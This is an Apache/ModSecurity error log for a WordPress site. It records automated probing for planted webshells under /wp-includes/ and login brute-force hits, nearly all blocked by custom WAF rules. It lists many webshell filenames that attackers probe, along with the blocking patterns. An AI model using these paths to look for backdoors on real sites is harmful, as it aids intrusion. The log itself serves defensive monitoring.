[Mon Mar 02 22:00:23.551597 2026] [:error] [pid 28847:tid 28857] [client 216.73.160.235:24163] [client 216.73.160.235] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aaWX959xbBq8VfeqVDZx1AAAAMg"]
[Mon Mar 02 22:00:26.551283 2026] [:error] [pid 28847:tid 28872] [client 216.73.160.85:38443] [client 216.73.160.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aaWX-p9xbBq8VfeqVDZx5gAAANc"]
[Mon Mar 02 22:00:35.087252 2026] [:error] [pid 59734:tid 59746] [client 216.73.160.101:31507] [client 216.73.160.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aaWYA5eWQx7ZQG9NybE2FgAAAUo"]
[Mon Mar 02 22:00:37.769286 2026] [:error] [pid 28847:tid 28853] [client 216.73.160.88:32633] [client 216.73.160.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aaWYBZ9xbBq8VfeqVDZyBQAAAMQ"]
[Mon Mar 02 22:00:40.340152 2026] [:error] [pid 28847:tid 28862] [client 216.73.160.231:49141] [client 216.73.160.231] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aaWYCJ9xbBq8VfeqVDZyEwAAAM0"]
[Mon Mar 02 22:00:41.115912 2026] [:error] [pid 59601:tid 59649] [client 216.73.160.92:40597] [client 216.73.160.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aaWYCcQ1lXfvWN0-ZQmawAAAAEs"]
[Mon Mar 02 22:00:41.769841 2026] [:error] [pid 59734:tid 59745] [client 216.73.160.95:30973] [client 216.73.160.95] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aaWYCZeWQx7ZQG9NybE2GwAAAUk"]
[Mon Mar 02 22:00:48.041049 2026] [:error] [pid 59701:tid 59715] [client 216.73.160.230:36199] [client 216.73.160.230] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aaWYEOUmTDVso96U9_LiUAAAAQs"]
[Mon Mar 02 22:00:49.318553 2026] [:error] [pid 28847:tid 28865] [client 216.73.160.81:35165] [client 216.73.160.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aaWYEZ9xbBq8VfeqVDZyQwAAANA"]
[Mon Mar 02 22:00:50.112683 2026] [:error] [pid 28847:tid 28857] [client 216.73.160.84:60685] [client 216.73.160.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aaWYEp9xbBq8VfeqVDZyTAAAAMg"]
[Mon Mar 02 22:01:06.564879 2026] [:error] [pid 59701:tid 59705] [client 216.73.160.227:55655] [client 216.73.160.227] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aaWYIuUmTDVso96U9_LiZwAAAQE"]
[Mon Mar 02 22:01:11.354326 2026] [:error] [pid 28847:tid 28862] [client 216.73.160.218:33547] [client 216.73.160.218] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.73.160.218, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aaWYJ59xbBq8VfeqVDZyugAAAM0"]
[Mon Mar 02 22:01:32.457016 2026] [:error] [pid 28847:tid 28849] [client 216.73.160.218:33547] [client 216.73.160.218] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aaWYPJ9xbBq8VfeqVDZy4gAAAMA"]
[Mon Mar 02 22:01:37.810148 2026] [:error] [pid 28847:tid 28851] [client 216.73.160.87:21031] [client 216.73.160.87] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.73.160.87, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aaWYQZ9xbBq8VfeqVDZy5wAAAMI"]
[Mon Mar 02 22:01:41.496368 2026] [:error] [pid 28847:tid 28852] [client 216.73.160.87:21031] [client 216.73.160.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/item.php"] [unique_id "aaWYRZ9xbBq8VfeqVDZy9QAAAMM"]
[Mon Mar 02 22:01:55.746909 2026] [:error] [pid 59600:tid 59626] [client 216.73.160.230:33395] [client 216.73.160.230] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aaWYU4Q5lE4yocV9IBd67AAAABE"]
[Mon Mar 02 22:02:10.313593 2026] [:error] [pid 59701:tid 59727] [client 216.73.160.79:43233] [client 216.73.160.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aaWYYuUmTDVso96U9_LiswAAARc"]
[Mon Mar 02 22:02:14.863932 2026] [:error] [pid 59734:tid 59753] [client 216.73.160.102:25429] [client 216.73.160.102] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aaWYZpeWQx7ZQG9NybE2fQAAAVE"]
[Mon Mar 02 22:02:20.024308 2026] [:error] [pid 59600:tid 59621] [client 216.73.160.236:62379] [client 216.73.160.236] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.73.160.236, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aaWYbIQ5lE4yocV9IBd7BgAAAAw"]
[Mon Mar 02 22:02:22.058722 2026] [:error] [pid 59600:tid 59631] [client 216.73.160.236:62379] [client 216.73.160.236] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aaWYboQ5lE4yocV9IBd7DQAAABY"]
[Mon Mar 02 22:02:51.783542 2026] [:error] [pid 59601:tid 59659] [client 216.73.160.225:26355] [client 216.73.160.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aaWYi8Q1lXfvWN0-ZQmbiwAAAFU"]
[Mon Mar 02 22:02:56.478151 2026] [:error] [pid 59601:tid 59647] [client 216.73.160.221:47155] [client 216.73.160.221] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.73.160.221, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aaWYkMQ1lXfvWN0-ZQmbkAAAAEk"]
[Mon Mar 02 22:03:04.131519 2026] [:error] [pid 59601:tid 59639] [client 216.73.160.221:47155] [client 216.73.160.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aaWYmMQ1lXfvWN0-ZQmblwAAAEE"]
[Mon Mar 02 22:03:06.728623 2026] [:error] [pid 59701:tid 59719] [client 216.73.160.229:55705] [client 216.73.160.229] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/infi.php"] [unique_id "aaWYmuUmTDVso96U9_Li6QAAAQ8"]
[Mon Mar 02 22:03:11.306576 2026] [:error] [pid 59701:tid 59725] [client 216.73.160.216:27533] [client 216.73.160.216] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aaWYn-UmTDVso96U9_Li7wAAARU"]
[Mon Mar 02 22:03:18.897990 2026] [:error] [pid 59602:tid 59670] [client 216.73.160.85:63205] [client 216.73.160.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aaWYpjMtSo_Fr0lHnSZ_qgAAAIU"]
[Mon Mar 02 22:03:19.530035 2026] [:error] [pid 59734:tid 59740] [client 216.73.160.218:37351] [client 216.73.160.218] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aaWYp5eWQx7ZQG9NybE2vgAAAUQ"]
[Mon Mar 02 22:03:28.070944 2026] [:error] [pid 59602:tid 59681] [client 216.73.160.236:24141] [client 216.73.160.236] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aaWYsDMtSo_Fr0lHnSZ_uAAAAJA"]
[Mon Mar 02 22:03:29.117862 2026] [:error] [pid 59734:tid 59742] [client 216.73.160.230:63403] [client 216.73.160.230] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "aaWYsZeWQx7ZQG9NybE20AAAAUY"]
[Mon Mar 02 22:03:36.061628 2026] [:error] [pid 59600:tid 59625] [client 216.73.160.90:51067] [client 216.73.160.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/edit.php"] [unique_id "aaWYuIQ5lE4yocV9IBd7oAAAABA"]
[Mon Mar 02 22:03:42.430982 2026] [:error] [pid 59601:tid 59658] [client 216.73.160.94:62799] [client 216.73.160.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aaWYvsQ1lXfvWN0-ZQmbzQAAAFQ"]
[Mon Mar 02 22:03:47.023177 2026] [:error] [pid 59602:tid 59678] [client 216.73.160.83:58625] [client 216.73.160.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/click.php"] [unique_id "aaWYwzMtSo_Fr0lHnSZ_2AAAAI0"]
[Mon Mar 02 22:03:47.119817 2026] [:error] [pid 59600:tid 59614] [client 5.101.50.197:38382] [client 5.101.50.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.101.50.197, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaWYw4Q5lE4yocV9IBd7wQAAAAU"]
[Mon Mar 02 22:03:53.533940 2026] [:error] [pid 59600:tid 59632] [client 216.73.160.76:40371] [client 216.73.160.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aaWYyYQ5lE4yocV9IBd71QAAABc"]
[Mon Mar 02 22:04:06.286692 2026] [:error] [pid 59701:tid 59705] [client 216.73.160.90:50471] [client 216.73.160.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "aaWY1uUmTDVso96U9_LjIgAAAQE"]
[Mon Mar 02 22:04:06.955763 2026] [:error] [pid 59600:tid 59616] [client 216.73.160.91:40229] [client 216.73.160.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "aaWY1oQ5lE4yocV9IBd76gAAAAc"]
[Mon Mar 02 22:04:07.549601 2026] [:error] [pid 59734:tid 59750] [client 216.73.160.96:31083] [client 216.73.160.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "aaWY15eWQx7ZQG9NybE28gAAAU4"]
[Mon Mar 02 22:04:08.197672 2026] [:error] [pid 59600:tid 59630] [client 216.73.160.221:49579] [client 216.73.160.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "aaWY2IQ5lE4yocV9IBd77wAAABU"]
[Mon Mar 02 22:04:10.732989 2026] [:error] [pid 59600:tid 59609] [client 216.73.160.220:60051] [client 216.73.160.220] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "aaWY2oQ5lE4yocV9IBd7-gAAAAA"]
[Mon Mar 02 22:04:11.473140 2026] [:error] [pid 59701:tid 59714] [client 216.73.160.97:36869] [client 216.73.160.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aaWY2-UmTDVso96U9_LjLgAAAQo"]
[Mon Mar 02 22:04:16.040268 2026] [:error] [pid 59734:tid 59757] [client 216.73.160.216:36631] [client 216.73.160.216] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aaWY4JeWQx7ZQG9NybE3CgAAAVU"]
[Mon Mar 02 22:04:16.678204 2026] [:error] [pid 59701:tid 59704] [client 216.73.160.77:20697] [client 216.73.160.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aaWY4OUmTDVso96U9_LjNgAAAQA"]
[Mon Mar 02 22:04:17.422839 2026] [:error] [pid 59600:tid 59628] [client 216.73.160.93:34541] [client 216.73.160.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "aaWY4YQ5lE4yocV9IBd8CgAAABM"]
[Mon Mar 02 22:04:18.060153 2026] [:error] [pid 28847:tid 28852] [client 216.73.160.93:46717] [client 216.73.160.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "aaWY4p9xbBq8VfeqVDZ0lAAAAMM"]
[Mon Mar 02 22:04:19.072477 2026] [:error] [pid 59734:tid 59744] [client 216.73.160.90:30625] [client 216.73.160.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aaWY45eWQx7ZQG9NybE3EAAAAUg"]
[Mon Mar 02 22:04:20.594223 2026] [:error] [pid 59701:tid 59710] [client 216.73.160.229:20617] [client 216.73.160.229] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "aaWY5OUmTDVso96U9_LjQQAAAQY"]
[Mon Mar 02 22:04:29.464714 2026] [:error] [pid 59600:tid 59630] [client 216.73.160.222:48603] [client 216.73.160.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "aaWY7YQ5lE4yocV9IBd8OgAAABU"]
[Mon Mar 02 22:04:43.406487 2026] [:error] [pid 28847:tid 28864] [client 216.73.160.226:64959] [client 216.73.160.226] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "aaWY-59xbBq8VfeqVDZ0vQAAAM8"]
[Mon Mar 02 22:04:46.673058 2026] [:error] [pid 59701:tid 59717] [client 216.73.160.231:53787] [client 216.73.160.231] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "aaWY_uUmTDVso96U9_LjXAAAAQ0"]
[Mon Mar 02 22:04:47.313386 2026] [:error] [pid 59600:tid 59619] [client 216.73.160.89:24655] [client 216.73.160.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aaWY_4Q5lE4yocV9IBd8fQAAAAo"]
[Mon Mar 02 22:04:54.300228 2026] [:error] [pid 28847:tid 28849] [client 216.73.160.94:65039] [client 216.73.160.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aaWZBp9xbBq8VfeqVDZ05AAAAMA"]
[Mon Mar 02 22:05:03.566858 2026] [proxy_fcgi:error] [pid 59602:tid 59673] [client 216.73.160.235:33947] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 22:05:03.930373 2026] [proxy_fcgi:error] [pid 59602:tid 59689] [client 216.73.160.235:33947] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 22:05:04.227087 2026] [proxy_fcgi:error] [pid 59602:tid 59679] [client 216.73.160.235:33947] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 22:05:05.945198 2026] [:error] [pid 59602:tid 59669] [client 216.73.160.235:33947] [client 216.73.160.235] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aaWZETMtSo_Fr0lHnSaALwAAAIQ"]
